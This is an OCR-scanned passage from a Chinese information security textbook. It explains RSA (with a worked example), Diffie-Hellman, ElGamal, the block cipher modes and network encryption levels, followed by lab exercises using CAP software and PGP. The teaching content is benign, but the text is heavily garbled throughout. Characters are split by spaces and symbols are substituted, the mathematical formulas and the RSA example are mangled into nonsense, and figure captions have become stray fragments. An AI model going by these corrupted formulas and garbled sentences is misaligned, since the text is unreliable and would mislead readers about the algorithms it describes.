© 然后 随机 选取 整数 e(1 二 e 二 g(n)), 且 满足 gcd(e,p(z)) 一 1(gcd 表示 求 最 大 公约 数 
运算 ), 即 gp) Mle BR. 

© 由 扩展 的 欧 几 里 德 算法 求 出 d, 使 得 e*， d=1 mod gln) 

© 形成 密 钥 对 ,其 中 公 钥 为 {e,n) , 私 钥 为 {d,n)。p,g 是 秘密 参数 ,需要 保密 ,如 不 需 
要 保存 ,可 销毁 。 

(2) 加 密 过 程 。 加 密 时 要 使 用 接收 方 的 公 钥 ,不 妨 设 接收 方 的 公 钥 为 e, 明 文 m 满足 
0 三 m 过 n( 否 则 需要 进行 分 组 ) ,计算 c= m" (mod n) ,c 为 密 文 。 

(3) 解密 过 程 。 计 算 m= (mod n). 

【 例 3-10】 选取 一 11,9 一 13, 则 

n= peq=11X13= 143 
gin) (p—1)(g—1) qi—1)C13'— 1) 120 

然后 ,选择 e=17 ,满足 gcd(e.g(n)) =ged(17,120) = 1. i+ d=e '(mod 120), AW 
1 二 120 一 7X17, 所 以 d= —7=113Cmod 120) , WAH Cen) = (17,143), AAW (dn) = 
(113,143), 

设 对 明文 信息 m= 24 进行 加 密 , 则 密 文 为 : 

c = m = 24" = 7 (mod 143) 
密 文 c 经 公开 信道 发 送 到 接收 方 后 ,接收 方 用 私 钥 d 对 密 文 进行 解密 : 
m = ct = 7™ = 24 (mod 143) 

从 而 正确 地 恢复 出 明文 。 

2. 安全 性 分 析 

(1) RSA 的 安全 性 依赖 于 著名 的 大 整数 因子 分 解 的 困难 性 问题 。 如 果 要 求 n 很 大 , 则 
攻击 者 将 其 成 功 地 分 解 为 p，g 是 困难 的 。 反 之 , 若 n 二 pq; 则 RSA 便 被 功 破 。 因 为 一 旦 求 
fin 的 两 个 素 因 子 p 和 g ,那么 立即 可 得 的 欧 拉 函数 值 p(n) 二 (pp 一 1)(g 一 1) ,再 利用 欧 几 
里 德 扩展 算法 求 出 RSA 的 私 钥 d=e | (mod g(n))。 

虽然 大 整数 的 因子 分 解 是 十 分 困难 的 ,但 是 随 着 科学 技术 的 发 展 . 人 们 对 大 整数 因子 分 
解 的 能 力 在 不 断 提 高 ,而 且 分 解 所 需 的 成 本 在 不 断 下 降 。1994 年 ,一 个 通过 Internet 上 
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1600 余 台 计算 机 进行 合作 的 小 组 仅仅 在 工作 了 8 个 月 就 成 功 分 解 了 129 位 的 十 进 制 数 ， 
1996 年 4 月 又 破译 了 RSA-130,1999 年 2 月 又 成 功 地 分 解 了 140 位 的 十 进 制 数 。1999 年 8 
月 ,阿姆斯特丹 的 国家 数学 与 计算 机 科学 研究 所 一 个 国际 密码 研究 小 组 通过 一 台 Cray900- 
16 超级 计算 机 和 300 台 个 人 计算 机 进行 分 布 式 处 理 ,运用 二 次 筛选 法 花费 7 个 多 月 的 时 间 
成 功 地 分 解 了 155 位 的 十 进 制 数 (相当 于 512 位 的 二 进 制 数 )。 这 些 工作 结果 使 人 们 认识 
到 ,要 安全 地 使 用 RSA ,应当 采 用 足够 大 的 整数 ,建议 选择 p 和 g KAE 100 位 的 十 进 制 
素数 ,此 时 模 长 n KAZE 200 位 十 进 制 数 ( 实 际 要 求 n 的 长 度 至 少 是 512 比特 ),e 和 4 选择 
100 位 左右 , 密 钥 {e,n) 或 {d,n}) 的 长 度 大 约 是 300 位 十 进 制 数 ,相当 于 1024 比特 二 进 制 数 。 
不 同 应 用 可 视 具体 情况 而 定 , 如 安全 电子 交易 (Secure Electronic Transaction ,SET) 协 议 中 
要 求 认 证 中 心 采用 2048 比特 的 密 钥 ,其 他 实体 则 采用 1024 比特 的 密 钥 。 

(2) RSA 的 加 密 函 数 是 一 个 单 向 函数 ,在 已 知 明文 m 和 公 钥 {e,n} 的 情况 下 ,计算 密 文 
是 很 容易 的 ; 但 反 过 来 ,在 已 知 密 文 和 公 钥 的 情况 下 ,恢复 明文 是 不 可 行 的 。 从 前 面 的 分 析 
中 得 知 ,在 很 大 的 情况 下 ,不 可 能 从 {e,n} 中 求 得 d, 也 不 可 能 在 已 知 c 和 {e,n}) 的 情况 下 求 
得 d 或 m。 


3.5.2 Diffie-Hellman 密 钥 交换 算法 


Diffie 和 Hellman 在 1976 年 发 表 的 论文 中 提出 了 公 钥 密码 思想 ,但 没有 给 出 具体 的 方 
案 , 原 因 在 于 没有 找到 单 向 函数 ,但 在 该 文中 给 出 了 通信 双方 通过 信息 交换 协商 密 钥 的 算 
法 , 即 Diffie-Hellman 密 钥 交 换算 法 .这 是 第 一 个 密 钥 协商 算法 ,用 于 密 钥 分 配 ,不 能 用 于 加 
密 或 解密 信息 。 

1. 算法 描述 

Diffie-Hellman 的 安全 性 是 基于 Z, 上 的 离散 对 数 问题 。 设 p 是 一 个 满足 要 求 的 大 素 
数 ,并 且 gO<g<p) EMH Z, 的 生成 元 ,g Mp 公开 ,所 有 用 户 都 可 以 得 到 g 和 p。 在 
两 个 用 户 A 与 B 通信 时 ,他 们 可 以 通过 如 下 步骤 协商 通信 所 使 用 的 密 钥 。 

(1) HP A 选取 一 个 大 的 随机 数 a(2 达 a 三 p 一 2) ,计算 SA 一 g (mod p), 并 且 把 SA 发 
送 给 用 户 B。 

(2) FAAP B 选 取 一 个 大 的 随机 数 8(2 志 Bp 一 2) ,计算 Se =g’ (mod p) ,并且 把 Ss RIK 
给 用 户 A。 

(3) 用 户 A 收 到 Ss 后 ,计算 ka 二 Ss8Cmod p), HP BIKE SA 后 ,计算 kea =S4 (mod p). 

由 于 有 kap 二 S&C(mod p)=(g° (mod p))*(mod p)=g® (mod p)=S4{(mod p)=ksa, 令 
k=ka hor ,这 样 用 户 A 和 B 就 拥有 了 一 个 共享 密 钥 ,就 能 以 k 作为 会 话 密 钥 进行 保密 
通信 了 。 

2. 安全 性 分 析 

当 模 p 较 小 时 ,很 容易 求 出 离散 对 数 。 依 目前 的 计算 能 力 , 当 模 p 达到 至 少 150 位 十 
进 制 数 时 , 求 离散 对 数 成 为 一 个 数学 难题 。 因 此 ,Diffie-Hellman 密 钥 交换 算法 要 求 模 p 至 
少 达到 150 位 十 进 制 数 ,其 安全 性 才能 得 到 保证 。 但 是 ,该 算法 容易 遭受 中 间 人 攻击 。 造 成 
中 间 人 攻击 的 原因 在 于 通信 双方 交换 信息 时 不 认证 对 方 ,攻击 者 很 容易 冒充 其 中 一 方 获得 
成 功 。 因 此 ,可 以 利用 数字 签名 挫败 中 间 人 攻击 。 
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3.5.3 ElGamal 加 密 算法 


ElGamal 公 钥 密码 体制 是 由 T. ElGamal 在 1985 年 提出 的 ,是 一 种 基于 离散 对 数 问题 
的 公 钥 密码 体制 。 该 密码 体制 既 可 用 于 加 密 , 又 可 用 于 数字 签名 ,是 除了 RSA 密码 算法 之 
外 最 有 代表 性 的 公 钥 密码 体制 之 一 。 由 于 ElGamal 体制 有 较 好 的 安全 性 ,因此 得 到 了 广泛 
的 应 用 。 著 名 的 美国 数字 签名 标准 DSS 就 是 采用 了 ElGamal 签名 方案 的 一 种 变形 。 其 算 
法 描述 如 下 。 

(1) 密 钥 生成 。 首 先 随机 选择 一 个 大 素数 p, 且 要 求 p 一 1 有 大 素数 因子 。g € Z; (Z, 
是 一 个 有 bp 个 元 素 的 有 限 域 ,Z; 是 由 2 中 的 非 零 元 构成 的 乘法 群 ) 是 一 个 生成 元 。 然 后 
再 选 一 个 随机 数 2 Ir p—1) ,计算 y=g (mod p) WAN Og: p) AGN x. 

(2) 加 密 过 程 。 不 妨 设 信息 接收 方 的 公私 钥 对 为 {x,y) ,对 于 待 加 密 的 消息 mE Z, R 
送 方 选择 一 个 随机 数 k€ Zi ,然后 计算 cı =g" (mod p) ,cs 二 my (mod p), 则 密 文 为 (ci ,co)。 

(3) 解密 过 程 。 接 收 方 收 到 密 文 (ci ,cs) 后 ,由 私 钥 z 计 算 cs (cf) (mod p), A 

cz (ct) (mod p) = (my* (mod p)) (Cg* (mod p))) =m(y(g) )* (mod p) = m 
故 消息 m 被 恢复 。 

实际 上 ,ElGamal 最 大 的 特点 在 于 它 的 “ 非 确定 性 ”。 由 于 密 文 依赖 于 执行 加 密 过 程 的 
发 送 方 所 选取 的 随机 数 &, 因 此 加 密 相同 的 明文 可 能 会 产生 不 同 的 密 文 。ElGamal 还 具有 
消息 扩展 因子 , 即 对 于 每 个 明文 ,其 密 文 由 2 个 Z, 上 的 元 素 组 成 。ElGamal 通过 乘 以 y 来 
掩盖 明文 m ,同样 gt 也 作为 密 文 的 一 部 分 进行 传送 。 因 为 正确 的 接收 方 知道 解密 密 钥 z， 
他 可 以 从 g* 中 计算 得 到 (8 一 (8 六 一 兴 , 从 而 能 够 从 cs 中 “去 除 掩 盖 ” 而 得 到 明文 mm。 


3.6 ”密码 学 的 应 用 


密码 学 的 作用 不 仅仅 在 于 对 明文 的 加 密 和 对 密 文 的 解密 ,更 重要 的 是 它 可 以 很 好 地 解 
决 网 络 通 信 中 广泛 存在 的 许多 安全 问题 ,如 身份 鉴别 数字 签名 ,秘密 共享 和 抗 否认 等 。 本 
节 介 绍 密码 应 用 模式 、 加 密 方式 。 


3.6.1 密码 应 用 模式 


DES IDEA 及 AES 等 分 组 加 密 算法 的 基本 设计 是 针对 一 个 分 组 的 加 密 和 解密 的 操 
作 。 然 而 ,在 实际 的 使 用 中 被 加 密 的 数据 不 可 能 只 有 一 个 分 组 ,需要 分 成 多 个 分 组 进行 操 
作 。 根 据 加 密 分 组 间 的 关联 方式 ,分 组 密码 主要 分 为 以 下 4 种 模式 。 

1. 电子 密码 本 模式 

电子 密码 本 (Electronic Code Book,ECB) 是 最 基本 的 一 种 加 密 模式 ,分 组 长 度 为 64 
位 。 每 次 加 密 均 独立 , 且 产 生 独 立 的 密 文 分 组 ,每 一 组 的 加 密 结果 不 会 影响 其 他 分 组 ,如 
图 3-19 所 示 。 

(1) 电子 密码 本 模式 的 优点 : 可 以 利用 平行 处 理 来 加 速 加 密 、 解 密 运算 , 且 在 网 络 传输 
时 任 一 分 组 即使 发 生 错 误 , 也 不 会 影响 到 其 他 分 组 。 
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明文 分 组 | 
i i 1 1 
密 钥 一 =| = £ =e Ë — E 
i 1 1 1 

密 文 分 组 | 
i 1 1 i 
密 钥 一 ”| =| D =| D =| D 
i 1 1 1 

明文 分 组 | 


图 3-19 电子 密码 本 模式 


(2) 电子 密码 本 模式 的 缺点 : 对 于 多 次 出 现 的 相同 的 明文 , 当 该 部 分 明文 恰好 是 加 密 分 
组 的 大 小 时 ,可 能 发 生 相 同 的 密 文 ,如 果 密 文 内 容 遭 到 剪贴 .替换 等 攻击 ,也 不 容易 被 发 现 。 

在 ECB 模式 中 ,加 密 函 数 忆 与 解密 函数 D 满足 以 下 关系 : 

Dg(Ek(m)) =m 

2. 密 文 链接 模式 

密 文 链接 (Cipher Block Chaining,CBC) 模 式 的 执行 方式 如 图 3-20 所 示 。 第 一 个 明文 
分 组 先 与 初始 向 量 (Initialization Vector,IV) 做 异 或 (XOR ) 运 算 , 再 进行 加 密 。 其 他 每 个 明 
文 分 组 加 密 之 前 ,必须 与 前 一 个 密 文 分 组 做 一 次 异 或 运算 ,再 进行 加 密 。 


明文 分 组 | | | | 
1 1 1 1 
初始 向 量 一 © 一 -© -0 pe 
t t t t 
密 钥 一 | E =| E =| E =| E 
i i i 1 
密 文 分 组 
1 i 1 
密 钥 一 ”| D =| D =| D =| D 
1 1 1 1 
初始 向 量 一 — (4D) 一 -®© -© = 
1 1 i 1 
明文 分 组 | 


图 3-20” 密 文 链接 模式 


(1) 密 文 链接 模式 的 优点 : 每 一 个 分 组 的 加 密 结果 均 会 受 其 前 面 所 有 分 组 内 容 的 影 
响 , 所 以 即使 在 明文 中 多 次 出 现 相同 的 明文 ,也 不 会 产生 相同 的 密 文 ; 另外 , 密 文 内 容 若 遭 
剪贴 .替换 或 在 网 络 传输 的 过 程 中 发 生 错 误 , 则 其 后 续 的 密 文 将 被 破坏 ,无 法 顺利 解密 还 原 ， 
因此 这 一 模式 很 难 伪造 成 功 。 

(2) 密 文 链接 模式 的 缺点 : 如 果 加 密 过 程 中 出 现 错误 , 则 这 种 错误 会 被 无 限 放大 ,从 而 
导致 加 密 失 败 ; 这 种 加 密 模 式 很 容易 受到 攻击 , 遭 到 破坏 。 

在 CBC 模式 中 ,加密 函数 E 与 解密 函数 满足 以 下 关系 : 
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Dg(Ex(m)) =m 
3. 密 文 反馈 模式 
密 文 反馈 (Cipher Feed Back,CFB) 模 式 如 图 3-21 所 示 。CFB 模式 需要 一 个 初始 向 量 
IV ,加 密 后 与 第 一 个 分 组 进行 异 或 运算 产生 第 一 组 密 文 ; 然后 ,对 第 一 组 密 文 加 密 再 与 第 二 
个 分 组 进行 异 或 运算 取得 第 二 组 密 文 ,以 此 类 推 ,直至 加 密 完毕 。 


明文 分 组 

a a ee 
aai a ALTO 1 

密 文 分 组 i i ! 
初始 向 量 1 1 1 

ao i HE 

明文 分 


图 3-21 密 文 反馈 模式 


(1) 密 文 反馈 模式 的 优点 : 每 一 个 分 组 的 加 密 结果 受 其 前 面 所 有 分 组 内 容 的 影响 ,即使 
出 现 多 次 相同 的 明文 , 均 产生 不 相同 的 密 文 ; 这 一 模式 可 以 作为 密 钥 流 生成 器 ,产生 密 钥 流 。 

(2) 密 文 反馈 模式 的 缺点 : 与 CBC 模式 的 缺点 类 似 。 

在 CFB 模式 中 ,加 密 函 数 玉 和 解密 函数 D 相同 ,满足 关系 : 

Dx (+) = Ex(+) 

4. 输出 反馈 模式 

输出 反馈 (Output Feed Back,OFB) 模 式 如 图 3-22 所 示 。 该 模式 产生 与 明文 异 或 运算 
的 密 钥 流 , 从 而 产生 密 文 ,这 一 点 与 CFB 模式 大 致 相同 ,唯一 的 差异 点 是 与 明文 分 组 进行 异 
或 的 输入 部 分 是 反复 加 密 后 得 到 的 。 


明文 分 组 | 
密 钥 1 1 1 1 
yN y NG 
mean” - KO, . Ke, KO, = Koy 
EXM | 
初始 向 量 
BOLO 02d 
me 1 1 1 1 
明文 分 | 


图 3-22 输出 反馈 模式 


在 OFB 模式 中 ,加 密 函 数 E 和 解密 函数 D 相同 ,满足 关系 : 
Dg (+) = Ex(+) 
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3.6.2 ”加 密 方式 


在 计算 机 网 络 中 , 既 要 保护 网 络 传 输 过 程 中 的 数据 ,又 要 保护 存储 在 计算 机 系统 中 的 数 
据 。 对 传输 过 程 中 的 数据 进行 加 密 , 称 为 “通信 和 加密” 对 计算 机 系统 中 存储 的 数据 进行 加 
密 , 称 为 “文件 加 密 ”。 如 果 以 加 密实 现 的 通信 层次 来 区 分 ,加 密 可 以 在 通信 的 3 个 不 同 层次 
来 实现 , 即 节点 加 密 、 链 路 加 密 和 端 到 端 加 密 3 种 。 

1. 节点 加 密 

节点 加 密 是 指 对 源 节 点 到 目的 节点 之 间 传 输 的 数据 进行 加 密 。 它 工作 在 OSI 参考 模 
型 的 第 一 层 和 第 二 层 ; 从 实施 对 象 来 讲 . 它 仅 对 报 文 加 密 , 而 不 对 报头 加 密 , 以 便于 传输 路 
由 根据 其 报头 的 标识 进行 选择 。 一 般 的 节点 加 密使 用 特殊 的 加 密 硬件 进行 解密 和 重 加 密 ， 
因此 要 保证 节点 在 物理 上 是 安全 的 ,以 避免 信息 泄露 。 

2. 链 路 加 密 

链 路 加 密 是 对 相 邻 节点 之 间 的 链 路 上 所 传输 的 数据 进行 加 密 。 它 工作 在 OSI 参考 模 
型 的 第 二 层 , 即 在 数据 链 路 层 进行 。 链 路 加 密 侧 重 于 在 通信 链 路 上 而 不 考虑 信 源 和 信 宿 ,对 
通过 各 链 路 的 数据 采用 不 同 的 加 密 密 钥 提 供 安全 保护 , 它 不 仅 对 数据 加 密 ,而 且 还 对 高 层 的 
协议 信息 (地 址 、 检 错 、 帆 头 帧 尾 ) 加 密 ,在 不 同 节点 对 之 间 使 用 不 同 的 加 密 密 钥 。 但 在 节点 处 ， 
要 先 对 接收 到 的 数据 进行 解密 ,获得 路 由 信息 ,然后 再 使 用 下 一 个 链 路 的 密 钥 对 消息 进行 加 密 ， 
再 进行 传输 。 在 节点 处 传输 数据 以 明文 方式 存在 。 因 此 ,所 有 节点 在 物理 上 必须 是 安全 的 。 

3. 端 到 端 加 密 

端 到 端 加 密 是 指 为 用 户 传 送 数据 提供 从 发 送 端 到 接收 端的 加 密 服 务 。 它 工作 在 OSI 
参考 模型 的 第 六 层 或 第 七 层 , 由 发 送 端 自动 加 密 信息 ,并 进入 TCP/IP 数据 包 回 封 , 以 密 文 
的 形式 穿 过 互联 网 , 当 这 些 信 息 到 达 目 的 地 时 ,将 自动 重组 .解密 ,成 为 明文 。 端 到 端 加 密 是 
面向 用 户 的 , 它 不 对 下 层 协 议 进行 信息 加 密 ,协议 信息 以 明文 形式 传输 ,用 户 数据 在 传输 节 
点 不 需 解密 。 由 于 网 络 本 身 并 不 会 知道 正在 传送 的 数据 是 加 密 数据 ,因此 这 对 防止 复制 网 
络 软件 和 软件 泄露 很 有 效 。 在 网 络 上 的 每 个 用 户 可 以 拥有 不 同 的 加 密 密 钥 , 而 且 网 络 本 身 
不 需要 增添 任何 专门 的 加 密 、 解 密 设备 。 


实 训 2” 密码 学 实验 


密码 学 是 一 门 古老 的 科学 , 它 是 研究 密码 系统 或 通信 安全 的 一 门 科学 ,分 为 密码 编码 学 
和 密码 分 析 学 。 密 码 编码 学 的 目的 是 研究 如 何 书写 好 的 密码 方法 ,保护 信息 不 被 侦察 , 即 伪 
装 消 息 。 对 给 定 的 有 意义 的 数据 进行 可 逆 的 数学 变换 ,将 其 变 为 表面 上 杂乱 无 章 的 数据 ,只 
有 合法 的 接收 者 才能 恢复 数据 。 密 码 分 析 学 是 研究 攻破 一 个 系统 的 途径 ,恢复 被 隐蔽 起 来 
的 消息 的 本 来 面目 , 即 研究 如 何 破 译 加 密 的 消息 。 

1. 实 训 目 的 

(1) 掌握 常用 密码 算法 的 设计 思想 及 其 安全 性 原理 。 

(2) 能 通过 CAP 进行 常用 密码 算法 的 演示 和 分 析 。 
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2. 实 训 环 境 

(1) 设备 : 计算 机 。 

(2) 软件 : CAP 加 密 分 析 软 件 。 

3. 实 训 内 容 

(1) 经 典 加 密 法 演示 及 分 析 。 

(2) 公 钥 加 密 法 演示 及 分 析 。 

4. 实 训 步 又 

1) 经 典 加 密 法 演示 及 分 析 

(1) 原理 及 演示 。 

O 选择 一 个 关键 词 , 若 关键 词 中 有 重复 字母 , 则 去 除 第 一 次 出 现 之 外 的 所 有 相同 字母 。 
如 选 定 关 键 词 “good”, 则 使 用 “god”。 

@ 将 关键 词 写 在 字母 表 下 方 ,并 用 字母 表 的 其 他 字母 按 标准 的 顺序 填写 余下 的 空间 ， 
如 表 3-12 所 示 。 


表 3-12 替代 表 


显然 ,从 字母 p 开始 ,所 有 的 字母 都 不 再 替换 。 为 了 消除 这 种 情况 ,可 以 允许 关键 词 从 
字母 表 的 任意 位 置 开 始 。 如 让 “god” 从 h 开始 ,如 表 3-13 所 示 。 


表 3-13 新 的 蔡 代 表 


© 用 CAP 软件 演示 关键 词 加 密 法 。 
第 1 步 : CAP 中 选择 Cipher 菜单 ,选取 Keyword 菜单 项 。 填 入 keyword 和 起 始 位 置 
后 ,用 Set Key 设 定 ,可 在 下 方 看 到 对 应 的 字母 表 , 如 图 3-23 所 示 。 


Analysis Tools TT: toy Bop heiper pip Quit 


3-23 ”关键 词 加 密 法 Keyword RE 


第 2 步 : 单 击 Encipher 加 密 明 文 “this is a test for cipher experiment” 即 可 在 
Ciphertext 文本 框 显 示 密 文 , 如 图 3-24 所 示 。 
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this is a test for cipher experiaent 


Šet Key 。 Eacipher Recipher Edp Dit 


图 3-24 对 明文 加 密 


(2) 破解 。 在 进行 破解 之 前 ,需要 了 解 一 些 关 键 词 加 密 法 的 重要 内 容 : 明文 是 标准 英 
语 ; 每 个 明文 字母 已 被 唯一 的 密 文 替代 。 
于 是 ,在 分 析 破 解 的 过 程 中 ,就 可 以 利用 字母 的 一 些 特性 帮助 破解 ,如 字母 出 现 的 频率 、 
与 其 他 字母 的 联系 、 在 单词 中 的 位 置 等 (在 标准 英语 中 ,e 是 出 现 频率 最 高 的 字母 ,而 e 和 z 
很 少 成 对 出 现 ; th he 和 er 成 对 出 现 很 普遍 ) 。 

2) 公 钥 加 密 法 演示 及 分 析 

(1) RSA 的 实施 。 实 施 RSA 公开 密 钥 密码 体制 需要 如 下 步骤 。 

第 1 步 : 设计 密 钥 。 仔 细 选 取 两 个 互 异 的 大 素数 p 和 g; S n=p q 及 nn 的 欧 拉 函 数 
{Ei pn) = (p—1) (q— 1) ,接着 寻找 两 个 正 整数 e 和 dd, 使 其 满足 gcd(e,g(n)) 二 1,e* d= 
lmod p(n)。 这 里 的 {e,n}) 就 是 公开 的 加 密 密 钥 。 

第 2 步 : 设计 密 文 。 把 要 发 送 的 明文 信息 数字 化 和 分 块 ,其 加 密 过 程 是 c= mt (mod n), 

第 3 步 : 恢复 明文 。 对 CC 解密,m 二 co(mod n) 即 可 得 到 明文 。 

(2) CAP 软件 的 RSA 实现 

第 1 步 : 选择 Integers 菜单 中 的 Prime Number Generation 选项 ,找到 素数 p 和 g, 如 
图 3-25 所 示 。 


bis Geel Pestis ly Galt 


pos 
FP 
Pama ieebe Gereaher varg Lehane 
Roquirod Numbor of Digits: E p oo se 
Primo Number 
= 
An sm | found 


图 3-25 Long Integer Routines 运行 界面 
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第 3 步 : 选取 素数 e, 该 值 比 p 值 大 , 目 与 (p 一 1)(g 一 1) 互 质 ; 并 在 Special Function 中 
选择 Inverse Mod 选项 ,用 反 模 运算 得 到 私 钥 4 ,如 图 3-26 所 示 。 


EGG 
redeced MOD 
Fasns67399483764245400 
= 


g 


图 3-26 反 模 运算 界面 


第 4 步 : 在 Cipher 菜单 中 选择 RSA 选项 , 填 人 之 前 得 到 的 公 钥 和 私 钥 , 如 图 3-27 
所 示 。 


Timo: fowo 
Neal35561336csesyeoic S 


© [s26ossocesis07ssiz664271 一 
a [eoim 


E 3-27 CAP 软件 中 的 RSA 实现 
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实 训 3 PGP 加 密 软件 的 使 用 


PGP(Pretty Good Privacy) 是 一 个 基于 RSA 公 钥 加 密 体系 的 邮件 加 密 软 件 , 使 用 混合 
加 密 体制 加 密 。PGP 最 初 的 设计 主要 是 用 于 电子 邮件 加 密 , 如 今 已 经 发 展 到 了 可 以 加 密 整 
个 硬盘 、 分 区 ,文件 、 文 件 夹 ,集成 进 邮件 软件 进行 邮件 加 密 等 。 

1. 实 训 目的 

(1) 了 解 PGP 加 密 软件 的 基本 功能 。 

(2) 加 深 对 公 钥 加 密 机 制 的 理解 。 

G) 掌握 PGP 软件 的 加 解密 文件 .签名 等 基本 操作 。 

2. 实 训 环境 

网 络 环境 ,PGP 加 密 软 件 。 

3. 实 训 内 容 

(1) 安装 PGP 软件 。 

(2) 练习 生成 密 钥 对 。 

(3) 练习 一 般 文 件 的 加 密 和 人 解密。 

4. KIPR 

1) 安装 PGP 软件 

实验 使 用 版 本 是 PGP Desktop 9. 6, 可 以 支持 Windows 2000、Windows XP、Windows 
2003,PGP 的 安装 要 求 使 用 管理 员 账 号 登录 。 

当 提 问 是 否 已 经 有 密 钥 对 时 ,本 实验 选择 “新 用 户 ” 选 项 (如 果 用 户 已 经 有 了 自己 的 密 钥 
对 ,就 不 需要 选择 此 选项 ) 。 继 续 按 照 提 示 ,一 步 步 安装 ,在 安装 完成 之 后 ,需要 重新 启动 计 
算 机 。 计 算 机 重新 启动 后 ,屏幕 右 下 角 的 任务 栏 上 会 出 现 一 个 金黄 色 的 “小 锁 ”, 这 就 是 
PGP 图 标 , 如 图 3-28 所 示 。 然 后 安装 汉化 包 , 重 新 启动 计算 机 。 


"Desktop 


图 3-28 PGP 菜单 


第 3 章 信息 保密 技术 81 


2) 创建 和 管理 PGP 的 密 钥 

要 使 用 PGP 进行 加 密 、 解 密 和 数字 签名 ,首先 必须 生成 一 对 属于 自己 的 密 钥 对 , 公 钥 发 
送 给 别人 ,让 其 进行 加 密 ; 私 钥 留 给 自己 用 来 解密 及 签名 。PGP 的 密 钥 经 过 加 密 后 保存 在 
文件 中 。 

(1) 创建 密 钥 对 步骤 如 下 。 

O 如 果 在 安装 PGP 时 选择 “新 用 户 ” 选 项 ,安装 程序 将 自动 打开 密 钥 对 生成 向 导 。 用 
户 也 可 以 通过 选择 “开始 ”一 “程序”>“PGP” 一 “PGPkeys” 命 令 , 启 动 PGPkeys 主 界面 ,如 
图 3-29 所 示 。 选 择 “ 密 钥 ” 一 “新 建 密 钥 ” 命 令 , 将 打开 “PGP 密 钥 生成 向 导 ” 对 话 框 ,如 
图 3-30 所 示 。 


PGPkey 


图 3-30 “PGP 密 钥 生成 向 导 ” 对 话 框 


© 在 “分 配 姓名 ”和 “电子 邮箱 ”文本 框 中 填写 自己 的 姓名 、 邮 件 地 址 。 

O 在 “分 配 密码 ”文本 框 中 输入 自己 的 私 钥 保 护 密码 。 在 用 户 需 要 使 用 自己 的 私 钥 时 ， 
需要 输入 此 密码 。 

HEB: PGP 并 不 直接 使 用 这 个 密码 加 密 数 据 , 并 且 可 以 更 改 这 个 密码 ,只 要 没有 生成 新 
的 密 钥 对 ,用 户 仍然 可 以 使 用 原来 的 密 钥 对 进行 文件 的 加 密 和 解密 。 


82 信息 安全 与 技术 


© 一 直 单 击 “下 一 步 ?按钮 直到 单 击 * 完 成 按钮。 这 时 将 在 密 钥 管理 器 中 出 现 用 户 所 
生成 的 密 钥 对 ,如 图 3-31 所 示 。 


图 3-31 显示 新 建 的 密 钥 


(2) 导出 公 钥 。 在 PGPKeys 中 ,选中 自己 的 密 钥 对 ,然后 选择 “ 密 钥 ”一 “导出 ”命令 可 
以 导出 自己 的 公 钥 或 者 整个 密 钥 对 ,如 图 3-32 所 示 。 可 将 自己 的 公 钥 导出 到 一 个 文件 中 ， 
然后 将 这 个 密 钥 对 文件 上 传 到 实验 室 服务 器 中 的 “PGP 公 钥 ?里 。 


ESLL 


图 3-32 导出 密 钥 


(3) 导出 自己 的 密 钥 对 。 当 用 户 需 要 将 密 钥 对 备份 起 来 或 者 需要 把 密 钥 对 转移 到 其 他 
计算 机 上 时 ,可 以 利用 导出 密 钥 对 的 功能 来 实现 。 可 将 自己 的 密 钥 对 导出 到 另 一 个 文件 中 ， 
然后 将 这 个 密 钥 对 文件 保存 到 自己 的 邮箱 或 者 U 盘 上 。 

(4) 删除 密 钥 对 : 选择 Delete 将 选择 的 密 钥 对 删除 。 

(5) 导入 密 钥 对 : 选择 Import 将 刚才 导出 的 密 钥 对 重新 导入 到 密 钥 管 理 器 中 。 

(6) 导入 其 他 人 的 公 钥 : 从 实验 服务 器 上 下 载 同 组 实验 同学 的 公 钥 文件 ,将 该 公 钥 导 
入 密 钥 管理 器 中 。 

3) 使 用 PGP 进行 文件 的 加 密 和 解密 

(1) 创建 一 个 文本 文件 test. txt, 包 含 以 下 内 容 。 

注意 : 用 学 生 自 己 的 学 号 和 姓名 、 邮 件 地 址 苦 换 相应 的 内 容 。 
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姓名 : 张 三 

学 号 :2974329923 

邮件 地 址 :zhang3@sise. com. cn 

PGP is based on a widely accepted encryption technology known as public key 


cryptography in which two complementary keys — a keypair — are used to 


maintain secure communications, 


(2) 选择 PGP 菜单 中 的 PGPmail 选项 ,打开 PGPmail, 如 图 3-33 所 示 。 


H 3-33 PGPmail 


(3) 选择 创建 的 文本 文件 test. txt, 如 图 3-34 所 示 。 


Py joaFinePrint files 
[Oty Virtual Machines 


E 3-34 PGPmail 选择 待 加 密 的 文件 
(4) 用 刚才 导入 的 公 钥 进 行 加 密 , 将 加 密 后 的 文件 改名 为 testl. txt. pgp, 如 图 3-35 所 示 。 


5 PGPmail - 密 钥 选择 对 话 框 


收 件 人 : 从 上 面 列表 
中 选择 加 密 所 用 的 公 
钥 或 者 密 钥 对 


keim m m m 


图 3-35 ”PGPmail- 密 钥 选 择 对 话 框 
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(5) 解密 文件 , 先 双击 生成 的 加 密 文 件 *testl. txt. pgp”, 要求 输入 密 钥 的 密码 ,如 
图 3-36 所 示 。 


图 3-36 解密 文件 


(6) 输入 正确 的 密码 后 ,就 可 以 解密 原来 的 文件 了 。 
(7) 本 练习 也 可 以 与 合作 伙伴 进行 。 请 同学 们 自行 实验 。 


本 章 小 结 


(1) 密码 学 的 发 展 大 致 经 历 了 手工 加 密 阶 段 、 机 械 加 密 阶 段 和 计算 机 加 密 阶段 。 密 码 
技术 是 现代 信息 安全 的 基础 和 核心 技术 , 它 不 仅 能 够 对 信息 加 密 , 还 能 完成 信息 的 完整 性 验 
证 ,数字 签名 和 身份 认证 等 功能 。 按 加 密 密 钥 和 解密 密 钥 是 否 相同 ,密码 体制 可 分 为 对 称 密 
码 体 制 和 非 对 称 密码 体制 。 对 称 密码 体制 又 可 分 为 序列 密码 和 分 组 密码 。 

(2) 替代 密码 和 置换 密码 等 是 常用 的 古典 密码 案例 ,虽然 在 现代 科技 环境 下 已 经 过 时 ， 
但 它们 包含 的 最 基本 的 变换 移 位 和 代替 在 现代 分 组 密码 设计 中 仍然 是 最 基本 的 变换 。 

(3) 对 称 密码 体制 要 求 加 密 .解密 双方 拥有 相同 的 密 钥 ,其 特点 是 加 密 速度 快 、. 软 /硬件 
容易 实现 ,通常 用 于 传输 数据 的 加 密 。 常 用 的 加 密 算法 有 DES 算法 等 。 

(4) 非 对 称 密码 体制 的 加 密 密 钥 和 解密 密 钥 是 不 相同 的 。 非 对 称 密码 被 用 作 加 密 时 ， 
使 用 接收 者 的 公开 密 钥 ,接收 方 用 自己 的 私有 密 钥 解密 ; 用 作 数 字 签名 时 ,使 用 发 送 方 ( 签 
